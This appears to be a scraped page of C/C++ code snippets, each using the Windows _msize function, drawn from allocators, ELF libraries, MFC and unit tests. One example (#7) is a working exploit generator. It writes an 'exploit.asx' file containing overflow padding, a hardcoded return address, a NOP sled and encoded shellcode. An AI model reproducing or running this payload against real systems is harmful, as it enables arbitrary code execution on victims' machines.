示例#1
0
scMemHandle MEMResizeHndDebug( scMemHandle	obj,
							   ulong		reqSize,
							   const char*	file,
							   int	   		line )
{  
	int size1 = 0;

	if ( obj ) 
		size1 = _msize( obj );

	if ( !obj )
		obj = MEMAllocHndDebug( reqSize, file, line );
	else {
		scAssert( ((MacHandle*)obj)->Count() == 0 ); // don't resize a locked handle
		obj = (scMemHandle)realloc( obj, reqSize + sizeof( MacHandle ) );
	}

	MacHandle macHandle( obj );

	*(MacHandle*)obj = macHandle;

	int size2 = _msize( obj ) - sizeof( MacHandle );

	dbgTrackAmount( reqSize - size1 );	
	return obj;
}
void test_repositorySave()
{
	Repository repo;
	repository_init(&repo, "repoTests.txt");

	assert(_msize(repo.objects) == sizeof(Vector));

	assert(vector_getLen(repo.objects) == 10);

	// Create object
	StoreObject* obj = malloc(sizeof(StoreObject));
	Product* prod = malloc(sizeof(Product));
	product_init(prod, "Chitara", "Conteaza", "MadeInChina");
	storeObject_init(obj, 15, prod, 100, "azi", 200);

	// Add Object
	repository_AddObject(&repo, obj);

	repository_Save(&repo);
	repository_destroy(&repo);

	Repository repo2;
	repository_init(&repo2, "repoTests.txt");

	assert(_msize(repo2.objects) == sizeof(Vector));

	assert(vector_getLen(repo2.objects) == 11);

	repository_DeleteObjectByID(&repo2, 15);
	repository_Save(&repo2);

	repository_destroy(&repo2);
}
示例#3
0
bool tAddNode(const char* pType, const unsigned char* pValue, bool delim, bool nullTerminated, bool unicode)
{
        struct tNode* pTokenNode;

        pTokenNode = (struct tNode *) calloc( 1, sizeof(struct tNode ) );

        if( pTokenNode == NULL )                                //error allocating node
                return false;           
        else {                                  //ok allocating node
                memset(pTokenNode->chTokenType, NULL, 3);
                pTokenNode->pTokenValue = NULL;

                memcpy_s (pTokenNode->chTokenType, _countof(pTokenNode->chTokenType), pType, strlen((char*)pType));

                pTokenNode->pTokenValue = (unsigned char*) calloc (_msize((unsigned char*)pValue), sizeof(char));
                if (pTokenNode->pTokenValue == NULL) 
                        return false;
                
                memcpy_s (pTokenNode->pTokenValue, _msize(pTokenNode->pTokenValue), pValue, _msize((char*)pValue));

                pTokenNode->bDelim = delim;
                pTokenNode->bNullTerminated = nullTerminated;
                pTokenNode->bUnicode = unicode;
                pTokenNode->next = NULL;
        }

        nNodeCount++;
        tAdd(pTokenNode);

        return true;                 
}
示例#4
0
int AFX_CDECL AfxCriticalNewHandler(size_t nSize)
	// nSize is already rounded
{
	// called during critical memory allocation
	//  free up part of the app's safety cache
	TRACE0("Warning: Critical memory allocation failed!\n");
	_AFX_THREAD_STATE* pThreadState = AfxGetThreadState();
	if (pThreadState != NULL && pThreadState->m_pSafetyPoolBuffer != NULL)
	{
		size_t nOldBufferSize = _msize(pThreadState->m_pSafetyPoolBuffer);
		if (nOldBufferSize <= nSize + MIN_MALLOC_OVERHEAD)
		{
			// give it all up
			TRACE0("Warning: Freeing application's memory safety pool!\n");
			free(pThreadState->m_pSafetyPoolBuffer);
			pThreadState->m_pSafetyPoolBuffer = NULL;
		}
		else
		{
			BOOL bEnable = AfxEnableMemoryTracking(FALSE);
			_expand(pThreadState->m_pSafetyPoolBuffer,
				nOldBufferSize - (nSize + MIN_MALLOC_OVERHEAD));
			AfxEnableMemoryTracking(bEnable);
			TRACE3("Warning: Shrinking safety pool from %d to %d to satisfy request of %d bytes.\n",
				 nOldBufferSize, _msize(pThreadState->m_pSafetyPoolBuffer), nSize);
		}
		return 1;       // retry it
	}

	TRACE0("ERROR: Critical memory allocation from safety pool failed!\n");
	AfxThrowMemoryException();      // oops
	return 0;
}
示例#5
0
文件: DIB.cpp 项目: BoonieBear/7000m
// Copy constructor
CDIB::CDIB(const CDIB &dib)
{
    m_pBMI = (BITMAPINFO *) malloc(_msize(dib.m_pBMI));
    memcpy(m_pBMI, dib.m_pBMI, _msize(dib.m_pBMI));
    m_pBits = (BYTE *)malloc(_msize(dib.m_pBits));
    memcpy(m_pBits, dib.m_pBits, _msize(dib.m_pBits));
    m_bMyBits = TRUE;
}
示例#6
0
static void* lzham_default_realloc(void* p, size_t size, size_t* pActual_size, lzham_bool movable, void* pUser_data)
{
    LZHAM_NOTE_UNUSED(pUser_data);

    void* p_new;

    if (!p)
    {
        p_new = malloc(size);
        LZHAM_ASSERT( (reinterpret_cast<ptr_bits_t>(p_new) & (LZHAM_MIN_ALLOC_ALIGNMENT - 1)) == 0 );

        if (pActual_size)
            *pActual_size = p_new ? _msize(p_new) : 0;
    }
    else if (!size)
    {
        free(p);
        p_new = NULL;

        if (pActual_size)
            *pActual_size = 0;
    }
    else
    {
        void* p_final_block = p;
#ifdef WIN32
        p_new = _expand(p, size);
#else

        p_new = NULL;
#endif

        if (p_new)
        {
            LZHAM_ASSERT( (reinterpret_cast<ptr_bits_t>(p_new) & (LZHAM_MIN_ALLOC_ALIGNMENT - 1)) == 0 );
            p_final_block = p_new;
        }
        else if (movable)
        {
            p_new = realloc(p, size);

            if (p_new)
            {
                LZHAM_ASSERT( (reinterpret_cast<ptr_bits_t>(p_new) & (LZHAM_MIN_ALLOC_ALIGNMENT - 1)) == 0 );
                p_final_block = p_new;
            }
        }

        if (pActual_size)
            *pActual_size = _msize(p_final_block);
    }

    return p_new;
}
示例#7
0
int main() {

    int i;
    char *overwrite_offset = malloc(255);
    for(i = 0; i < 255; i += 5) {
        char padding[] = "\x41\x41\x41\x41\x41"; 
        memcpy(overwrite_offset + i, padding, strlen(padding));
    }
    memset(overwrite_offset + _msize(overwrite_offset) - 1, 0x00, 1);

    char retn[] = "\x92\x72\x23\x74";
    char shellcode[] = 
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // NOP sled
    "\xdb\xc8\xd9\x74\x24\xf4\xbd\xaf\x93\x43\xb4\x5e\x31\xc9\xb1"
    "\x52\x31\x6e\x17\x83\xee\xfc\x03\xc1\x80\xa1\x41\xe1\x4f\xa7"
    "\xaa\x19\x90\xc8\x23\xfc\xa1\xc8\x50\x75\x91\xf8\x13\xdb\x1e"
    "\x72\x71\xcf\x95\xf6\x5e\xe0\x1e\xbc\xb8\xcf\x9f\xed\xf9\x4e"
    "\x1c\xec\x2d\xb0\x1d\x3f\x20\xb1\x5a\x22\xc9\xe3\x33\x28\x7c"
    "\x13\x37\x64\xbd\x98\x0b\x68\xc5\x7d\xdb\x8b\xe4\xd0\x57\xd2"
    "\x26\xd3\xb4\x6e\x6f\xcb\xd9\x4b\x39\x60\x29\x27\xb8\xa0\x63"
    "\xc8\x17\x8d\x4b\x3b\x69\xca\x6c\xa4\x1c\x22\x8f\x59\x27\xf1"
    "\xed\x85\xa2\xe1\x56\x4d\x14\xcd\x67\x82\xc3\x86\x64\x6f\x87"
    "\xc0\x68\x6e\x44\x7b\x94\xfb\x6b\xab\x1c\xbf\x4f\x6f\x44\x1b"
    "\xf1\x36\x20\xca\x0e\x28\x8b\xb3\xaa\x23\x26\xa7\xc6\x6e\x2f"
    "\x04\xeb\x90\xaf\x02\x7c\xe3\x9d\x8d\xd6\x6b\xae\x46\xf1\x6c"
    "\xd1\x7c\x45\xe2\x2c\x7f\xb6\x2b\xeb\x2b\xe6\x43\xda\x53\x6d"
    "\x93\xe3\x81\x22\xc3\x4b\x7a\x83\xb3\x2b\x2a\x6b\xd9\xa3\x15"
    "\x8b\xe2\x69\x3e\x26\x19\xfa\xed\xa7\x55\x71\x85\xc5\x95\x84"
    "\xed\x43\x73\xec\x01\x02\x2c\x99\xb8\x0f\xa6\x38\x44\x9a\xc3"
    "\x7b\xce\x29\x34\x35\x27\x47\x26\xa2\xc7\x12\x14\x65\xd7\x88"
    "\x30\xe9\x4a\x57\xc0\x64\x77\xc0\x97\x21\x49\x19\x7d\xdc\xf0"
    "\xb3\x63\x1d\x64\xfb\x27\xfa\x55\x02\xa6\x8f\xe2\x20\xb8\x49"
    "\xea\x6c\xec\x05\xbd\x3a\x5a\xe0\x17\x8d\x34\xba\xc4\x47\xd0"
    "\x3b\x27\x58\xa6\x43\x62\x2e\x46\xf5\xdb\x77\x79\x3a\x8c\x7f"
    "\x02\x26\x2c\x7f\xd9\xe2\x5c\xca\x43\x42\xf5\x93\x16\xd6\x98"
    "\x23\xcd\x15\xa5\xa7\xe7\xe5\x52\xb7\x82\xe0\x1f\x7f\x7f\x99"
    "\x30\xea\x7f\x0e\x30\x3f";

    int buffer_size = _msize(overwrite_offset) + strlen(retn) + strlen(shellcode);
    char *buffer = malloc(buffer_size);

    memcpy(buffer, overwrite_offset, _msize(overwrite_offset));
    memcpy(buffer + _msize(overwrite_offset), retn, strlen(retn));
    memcpy(buffer + _msize(overwrite_offset) + strlen(retn), shellcode, strlen(shellcode));
    memset(buffer + buffer_size - 1, 0x00, 1);

    FILE * fp;
    fp = fopen("exploit.asx","w");
    fprintf(fp, buffer); 
    fclose(fp);

    return 0;

}
示例#8
0
//===========================================================================
//
// Parameter:				-
// Returns:					-
// Changes Globals:		-
//===========================================================================
int MemorySize(void *ptr)
{
#if defined(WIN32) || defined(_WIN32)
	#ifdef __WATCOMC__
		//Intel 32 bits memory addressing, 16 bytes aligned
	return (_msize(ptr) + 15) >> 4 << 4;
	#else
	return _msize(ptr);
	#endif
#else
	return 0;
#endif
} //end of the function MemorySize
示例#9
0
文件: m_alloc.cpp 项目: Gaerzi/SLADE
void *M_Realloc(void *memblock, size_t size)
{
	if (memblock != NULL)
	{
		GC::AllocBytes -= _msize(memblock);
	}
	void *block = realloc(memblock, size);
	if (block == NULL)
	{
		I_FatalError("Could not realloc %zu bytes", size);
	}
	GC::AllocBytes += _msize(block);
	return block;
}
示例#10
0
文件: m_alloc.cpp 项目: Gaerzi/SLADE
void *M_Realloc_Dbg(void *memblock, size_t size, const char *file, int lineno)
{
	if (memblock != NULL)
	{
		GC::AllocBytes -= _msize(memblock);
	}
	void *block = _realloc_dbg(memblock, size, _NORMAL_BLOCK, file, lineno);
	if (block == NULL)
	{
		I_FatalError("Could not realloc %zu bytes", size);
	}
	GC::AllocBytes += _msize(block);
	return block;
}
示例#11
0
文件: DIB.cpp 项目: BoonieBear/7000m
// assignment operator
CDIB &CDIB::operator=(const CDIB &dib)
{
    // delete any existing stuff (Don't reuse since we might
    // waste a lot of memory)
    if (m_pBMI != NULL) free(m_pBMI);
    if (m_bMyBits && (m_pBits != NULL)) free(m_pBits);
    // create the new stuff
    m_pBMI = (BITMAPINFO *) malloc(_msize(dib.m_pBMI));
    memcpy(m_pBMI, dib.m_pBMI, _msize(dib.m_pBMI));
    m_pBits = (BYTE *)malloc(_msize(dib.m_pBits));
    memcpy(m_pBits, dib.m_pBits, _msize(dib.m_pBits));
    m_bMyBits = TRUE;
    return *this;
}
示例#12
0
void str_delfreelines(TSTR_LIST *list)
  {
  int count,i,j;
  TSTR_LIST p;

  count=_msize(*list)/sizeof(*p);
  j=0;
  for(i=0;i<count;i++)
     if ((*list)[i]!=NULL) (*list)[j++]=(*list)[i];
  if (j==0) j++;
  p=(TSTR_LIST)realloc(*list,j*sizeof(*p));
  if (p!=NULL) *list=p;
  count=_msize(*list)/sizeof(*p);
  for(i=j;i<count;i++) (*list)[i]=NULL;
  }
示例#13
0
文件: message.cpp 项目: xrmb/nxtv
void NXLFSMessageCache::trim()
{
  size_t m = 0;
  size_t r = 0;
  int c = 0;
  long conn = 10;
  
  const NXLFSConfigNews* cfg = NXLFSConfigNews::i();
  if(cfg) conn = cfg->conn();

  for(size_t i = 0; i < m_listlen; i++)
  {
    int j = (m_listlen + m_oid - i) % m_listlen;
    if(!m_list[j]) continue;

    m += m_list[j]->len;    // data
    r += _msize(m_list[j]); // real memory, not everything is used
    c++;
    
    //--- note: still debating if r > or m > is better ---
    //          r > is more accurate to maxmem, but heap fragmenation 
    if(c > conn && r > m_maxmem)
    {      
      if(NXLOG.cache > 2)
        printf("cache:\t%-10s %d\t%d\t%s\n", "delete", j, m_oid, m_list[j]->msgid);
      NXfree(m_list[j]); m_list[j] = NULL;
    }
  }
  if(NXLOG.cache > 1)
    printf("cache:\t%-10s %d items, %d bytes, %d mem, %d oid\n", "stats", c, m, r, m_oid);
}
示例#14
0
scMemHandle MEMDupHndDebug( scMemHandle obj, const char *filename, int line )
{
	scMemHandle	hnd;

	if ( !RandomFailure() ) {
		ulong	sz = _msize( obj ) - sizeof( MacHandle );

		hnd = MEMAllocHndDebug( sz, filename, line );

		try {
			void*	srcP = MEMLockHnd( obj );
			void*	dstP = MEMLockHnd( hnd );
			SCmemcpy( dstP, srcP, sz );	
		}
		catch (...) {
			MEMUnlockHnd( hnd );
			MEMUnlockHnd( obj );
			throw;
		}

		MEMUnlockHnd( hnd );
		MEMUnlockHnd( obj );
	}
	else
		hnd = NULL;
	raise_if( !hnd, scERRmem );

	memRecordTrackInfo( hnd, filename, line );
	return hnd;
}
示例#15
0
void morph_macro(macro_list **ppList, char *pMacro, char *pMorph, char *pPrintf)
{
    macro_list *pEntry = NULL;

    if(ppList == NULL || pMacro == NULL || pMorph == NULL || pPrintf == NULL) {
	return;
    }

    /*  Find macro of said name.
     *  Case insensitive.
     */
    pEntry = *ppList;
    while(pEntry)    {
	if(stricmp(pEntry->m_pMacro, pMacro) == 0)  {
	    break;
	}

	pEntry = pEntry->m_pNext;
    }

    if(pEntry)  {
	char_list *pFilename = NULL;
	char aPath[_MAX_PATH];
	char aDrive[_MAX_DRIVE];
	char aDir[_MAX_DIR];
	char aFName[_MAX_FNAME];
	char aExt[_MAX_EXT];
	char *pBuffer = NULL;

	/*  Start with buffer size needed.
	 *  We expand this as we go along if needed.
	 */
	pBuffer = (char *)malloc(strlen(pMorph) + 2);
	strcpy(pBuffer, pMorph);
	strcat(pBuffer, "=");

	/*  Go through each value, converting over to new macro.
	 */
	pFilename = pEntry->m_pValue;
	while(pFilename) {
	    _splitpath(pFilename->m_pString, aDrive, aDir, aFName, aExt);

	    /*  Expand buffer by required amount.
	     */
	    sprintf(aPath, pPrintf, aFName);
	    strcat(aPath, " ");
	    pBuffer = (char *)realloc(pBuffer, _msize(pBuffer) + strlen(aPath));
	    strcat(pBuffer, aPath);

	    pFilename = pFilename->m_pNext;
	}

	/*  Add the macro.
	 */
	add_macro(pBuffer, ppList);

	free(pBuffer);
	pBuffer = NULL;
    }
}
示例#16
0
size_t onmsize( const void* memblock )
{
  size_t sz = 0;

  if (memblock) 
  {
#if defined(ON_COMPILER_MSC)
    sz = _msize( (void*)memblock );
#elif defined(ON_COMPILER_XCODE)
    sz = malloc_size( (void*)memblock );
#else
    // No predictable function exists and
    // nothing in core opennurbs code uses
    // onmsize().  If you find a portable
    // way to support another compiler or 
    // platform, then report it to the support
    // contact on http://opennurbs.org and
    // the code will be added in the next release.
    ON_ERROR("onmsize not implemented on this compiler or platform.");
    sz = 0;
#endif
  }

  return sz;
}
示例#17
0
static char*
_elf_newehdr(Elf *elf, unsigned cls) {
    size_t size;

    if (!elf) {
	return NULL;
    }
    elf_assert(elf->e_magic == ELF_MAGIC);
    if (elf->e_readable) {
	return _elf_getehdr(elf, cls);
    }
    else if (!elf->e_ehdr) {
	size = _msize(cls, _elf_version, ELF_T_EHDR);
	elf_assert(size);
	if ((elf->e_ehdr = (char*)malloc(size))) {
	    memset(elf->e_ehdr, 0, size);
	    elf->e_free_ehdr = 1;
	    elf->e_ehdr_flags |= ELF_F_DIRTY;
	    elf->e_kind = ELF_K_ELF;
	    elf->e_class = cls;
	    return elf->e_ehdr;
	}
	seterr(ERROR_MEM_EHDR);
    }
    else if (elf->e_class != cls) {
	seterr(ERROR_CLASSMISMATCH);
    }
    else {
	elf_assert(elf->e_kind == ELF_K_ELF);
	return elf->e_ehdr;
    }
    return NULL;
}
示例#18
0
const char *str_replace(TSTR_LIST *list,int line,const char *text)
  {
  int count,i,j;
  TSTR_LIST p;
  char *c;

  count=str_count(*list);
  if (line>=count)
     {
     int plus;

        plus=count-line;
        plus=(plus/STR_REALLOC_STEP+1)*STR_REALLOC_STEP;
        p=getmem((count+plus)*sizeof(*p));
        memcpy(p,*list,count*sizeof(*p));
        free(*list);
        j=_msize(p)/sizeof(*p);
        i=count;
        for(;i<j;i++) p[i]=NULL;
        i=count;count=j;
        *list=p;
     }
  if ((*list)[line]!=NULL) free((*list)[line]);
  if (text!=NULL)
     {
     c=(char *)getmem(strlen(text)+1);
     if (c==NULL) return NULL;
     strcpy(c,text);
     }
  else
     c=NULL;
  (*list)[line]=c;
  return c;
  }
示例#19
0
/*
 * Extension: report memory size
 */
size_t
gelf_msize(Elf *elf, Elf_Type type, size_t count, unsigned ver) {
    size_t n;

    if (elf) {
	if (elf->e_kind != ELF_K_ELF) {
	    seterr(ERROR_NOTELF);
	}
	else if (!valid_class(elf->e_class)) {
	    seterr(ERROR_UNKNOWN_CLASS);
	}
	else if (!valid_version(ver)) {
	    seterr(ERROR_UNKNOWN_VERSION);
	}
	else if (!valid_type(type)) {
	    seterr(ERROR_UNKNOWN_TYPE);
	}
	else if (!(n = _msize(elf->e_class, ver, type))) {
	    seterr(ERROR_UNKNOWN_TYPE);
	}
	else {
	    return count * n;
	}
    }
    return 0;
}
示例#20
0
extern "C" size_t __cdecl _aligned_msize_base(
    void*  block,
    size_t align,
    size_t offset
    )
{
    size_t header_size = 0; /* Size of the header block */
    size_t footer_size = 0; /* Size of the footer block */
    size_t total_size  = 0; /* total size of the allocated block */
    size_t user_size   = 0; /* size of the user block*/
    uintptr_t gap      = 0; /* keep the alignment of the data block */
                             /* after the sizeof(void*) aligned pointer */
                             /* to the beginning of the allocated block */
    uintptr_t ptr      = 0; /* computes the beginning of the allocated block */

    _VALIDATE_RETURN(block != nullptr, EINVAL, static_cast<size_t>(-1));

    /* HEADER SIZE + FOOTER SIZE = GAP + ALIGN + SIZE OF A POINTER*/
    /* HEADER SIZE + USER SIZE + FOOTER SIZE = TOTAL SIZE */

    ptr = (uintptr_t)block;            /* ptr points to the start of the aligned memory block */
    ptr = (ptr & ~(PTR_SZ - 1)) - PTR_SZ; /* ptr is one position behind memblock */
                                          /* the value in ptr is the start of the real allocated block */
    ptr = *((uintptr_t *)ptr);            /* after dereference ptr points to the beginning of the allocated block */

    total_size = _msize((void*)ptr);
    header_size = (uintptr_t) block - ptr;
    gap = (0 - offset) & (PTR_SZ - 1);
    /* Alignment cannot be less than sizeof(void*) */
    align = (align > PTR_SZ ? align : PTR_SZ) -1;
    footer_size = gap + align + PTR_SZ - header_size;
    user_size = total_size - header_size - footer_size;

    return user_size;
}
void test_repositoryCreateDestroy()
{
	Repository repo;
	repository_init(&repo, "repoTests.txt");

	assert(_msize(repo.objects) == sizeof(Vector));

	assert(vector_getLen(repo.objects) == 10);

	// Test 2 elements
	// #1
	assert(storeObject_GetID(vector_getAt(repo.objects, 1)) == 2);
	assert(!strcmp(product_GetType(storeObject_GetProduct(vector_getAt(repo.objects, 1))), "Laptop"));
	assert(!strcmp(product_GetModel(storeObject_GetProduct(vector_getAt(repo.objects, 1))), "v3.2"));
	assert(!strcmp(product_GetManufacturer(storeObject_GetProduct(vector_getAt(repo.objects, 1))), "Lenovo"));
	assert(storeObject_GetPrice(vector_getAt(repo.objects, 1)) == 5200);
	assert(storeObject_GetQuantity(vector_getAt(repo.objects, 1)) == 69);

	// #2
	assert(storeObject_GetID(vector_getAt(repo.objects, 9)) == 10);
	assert(!strcmp(product_GetType(storeObject_GetProduct(vector_getAt(repo.objects, 9))), "Laptop"));
	assert(!strcmp(product_GetModel(storeObject_GetProduct(vector_getAt(repo.objects, 9))), "v12.3"));
	assert(!strcmp(product_GetManufacturer(storeObject_GetProduct(vector_getAt(repo.objects, 9))), "HP"));
	assert(storeObject_GetPrice(vector_getAt(repo.objects, 9)) == 2200);
	assert(storeObject_GetQuantity(vector_getAt(repo.objects, 9)) == 69);


	repository_destroy(&repo);
	//assert(_msize(repo.objects) == -1);
	//assert(_msize(repo.fileName) == -1);
}
示例#22
0
size_t __cdecl iso_aligned_msize(void *ptr, size_t alignment, size_t offset)
{
    size_t header_size;     /* Size of the header block */
    size_t footer_size;     /* Size of the footer block */
    size_t total_size;      /* total size of the allocated block */
    size_t user_size;       /* size of the user block*/
    uintptr_t uintptr_offset;   /* keep the alignment of the data block */
                            /* after the sizeof(void*) aligned pointer */
                            /* to the beginning of the allocated block */

    /* HEADER SIZE + FOOTER SIZE = uintptr_offset + ALIGNMENT + SIZE OF A POINTER*/
    /* HEADER SIZE + USER SIZE + FOOTER SIZE = TOTAL SIZE */
    _ASSERT(ptr != NULL);

    ALIGN_BLOCK_HEADER *pBlockHdr = NULL; /* points to the beginning of the allocated block*/
    pBlockHdr = (ALIGN_BLOCK_HEADER *)((uintptr_t)ptr & ~(sizeof(uintptr_t) - 1)) - 1;

#ifdef __linux__
    total_size = malloc_usable_size(pBlockHdr->pvAlloc);
#else
    total_size = _msize(pBlockHdr->pvAlloc);
#endif
    header_size = (uintptr_t)ptr - (uintptr_t)(pBlockHdr->pvAlloc);
    uintptr_offset = (0 - offset) & (sizeof(uintptr_t) - 1);

    /* The align cannot be smaller than the sizeof(uintptr_t) */
    alignment = (alignment > sizeof(uintptr_t) ? alignment : sizeof(uintptr_t)) -1;
    footer_size = alignment + sizeof(ALIGN_BLOCK_HEADER) + uintptr_offset - header_size;
    user_size = total_size - header_size - footer_size;
    return user_size;
}
示例#23
0
GElf_Phdr*
gelf_getphdr(Elf *elf, int ndx, GElf_Phdr *dst) {
    GElf_Phdr buf;
    char *tmp;
    size_t n;

    if (!elf) {
	return NULL;
    }
    elf_assert(elf->e_magic == ELF_MAGIC);
    tmp = _elf_getphdr(elf, elf->e_class);
    if (!tmp) {
	return NULL;
    }
    if (ndx < 0 || ndx >= elf->e_phnum) {
	seterr(ERROR_BADINDEX);
	return NULL;
    }
    n = _msize(elf->e_class, _elf_version, ELF_T_PHDR);
    if (n == 0) {
	seterr(ERROR_UNIMPLEMENTED);
	return NULL;
    }
    if (!dst) {
	dst = &buf;
    }
    if (elf->e_class == ELFCLASS64) {
	*dst = *(Elf64_Phdr*)(tmp + ndx * n);
    }
    else if (elf->e_class == ELFCLASS32) {
	Elf32_Phdr *src = (Elf32_Phdr*)(tmp + ndx * n);

	check_and_copy(GElf_Word,  dst, src, p_type,   NULL);
	check_and_copy(GElf_Word,  dst, src, p_flags,  NULL);
	check_and_copy(GElf_Off,   dst, src, p_offset, NULL);
	check_and_copy(GElf_Addr,  dst, src, p_vaddr,  NULL);
	check_and_copy(GElf_Addr,  dst, src, p_paddr,  NULL);
	check_and_copy(GElf_Xword, dst, src, p_filesz, NULL);
	check_and_copy(GElf_Xword, dst, src, p_memsz,  NULL);
	check_and_copy(GElf_Xword, dst, src, p_align,  NULL);
    }
    else {
	if (valid_class(elf->e_class)) {
	    seterr(ERROR_UNIMPLEMENTED);
	}
	else {
	    seterr(ERROR_UNKNOWN_CLASS);
	}
	return NULL;
    }
    if (dst == &buf) {
	dst = (GElf_Phdr*)malloc(sizeof(GElf_Phdr));
	if (!dst) {
	    seterr(ERROR_MEM_PHDR);
	    return NULL;
	}
	*dst = buf;
    }
    return dst;
}
示例#24
0
void MemFreeReal( PTR ptr, const STR8 pcFile, INT32 iLine )
{
	UINT32 uiSize;

	if ( !fMemManagerInit )
	DbgMessage( TOPIC_MEMORY_MANAGER, DBG_LEVEL_0, String("MemFree: Warning -- Memory manager not initialized -- Line %d in %s", iLine, pcFile) );

	if (ptr != NULL)
	{
		uiSize = _msize(ptr);
		guiMemTotal -= uiSize;
		guiMemFreed += uiSize;
		_free_dbg( ptr, _NORMAL_BLOCK );

#ifdef DEBUG_MEM_LEAKS
	DbgMessage( TOPIC_MEMORY_MANAGER, DBG_LEVEL_1, String("MemFree	%p: %d bytes (line %d file %s)", ptr, uiSize, iLine, pcFile) );
#endif
	}
	else
	{
	DbgMessage( TOPIC_MEMORY_MANAGER, DBG_LEVEL_0, String("MemFree ERROR: NULL ptr received (line %d file %s)", iLine, pcFile) );
	}

	// count even a NULL ptr as a MemFree, not because it's really a memory leak, but because it is still an error of some
	// sort (nobody should ever be freeing NULL pointers), and this will help in tracking it down if the above DbgMessage
	// is not noticed.
	MemDebugCounter--;
}
示例#25
0
			MacHandle( scMemHandle	ptr ) :
						block_( (char*)ptr + sizeof( MacHandle ) ),
						magic_( 0xfafafafa ),
						count_( 0 ),
						size_( _msize( ptr ) - sizeof( MacHandle ) )
						{
						}
示例#26
0
void * __cdecl operator new(unsigned int size,const char *file,int line)
{
    void *p;
    p = _malloc_dbg(size,_NORMAL_BLOCK,file,line);
    MemoryUsedCount+=_msize(p);
    return p;
}
示例#27
0
ulong MEMGetSizePtr( const void *obj )
{
	if ( obj == 0 )
		return 0;
			
	return _msize( (void*)obj );
}
示例#28
0
ulong MEMGetSizeHnd( scMemHandle obj )
{
	if ( obj == 0 )
		return 0;
	
	return _msize( (void*)obj ) - sizeof( MacHandle );
}
示例#29
0
BYTE* CSMemFile::Realloc(BYTE* lpOldMem, SIZE_T nBytes)
{
  if (nBytes == 0) {
    trashMemory(lpOldMem, m_size);
    Free(lpOldMem);
    m_size = 0;
    return NULL;
  }

  size_t old_size = _msize((void *)lpOldMem);
  ASSERT(m_size == old_size);
  BYTE* lpNewMem = (BYTE *)malloc(nBytes);

  if (lpNewMem == NULL) {
    trashMemory(lpOldMem, old_size);
    free(lpOldMem);
    m_size = 0;
    return NULL;
  }

  memcpy_s((void *)lpNewMem, nBytes, (void *)lpOldMem, old_size);
  trashMemory(lpOldMem, old_size);
  free(lpOldMem);

  m_size = nBytes;
  return lpNewMem;
}
示例#30
0
int
AddToAddresses(char **Addresses, int *cnt, CSADDR_INFO *csaddr)
{

	int csize;
	struct in_addr *sinaddr;
	char *addr;
	struct in_addr *addr_list;
	struct sockaddr_in *sin;
	sin = (struct sockaddr_in *) csaddr->RemoteAddr.lpSockaddr;
	if (*Addresses != NULL)
	{
		csize = _msize(*Addresses);
		addr_list = realloc(*Addresses, csize + sizeof(struct in_addr));
	}
	else
	{
		csize = 0;
		addr_list = malloc(sizeof(struct in_addr));
	}
	addr = (char *) addr_list;
	sinaddr = &((struct in_addr*) addr)[(*cnt)];
	memset(sinaddr, 0, sizeof(sinaddr));
	memcpy(sinaddr, &sin->sin_addr, sizeof(struct in_addr));
	
	(*cnt)++;
	*Addresses = (char *) addr_list;
	return 0;
}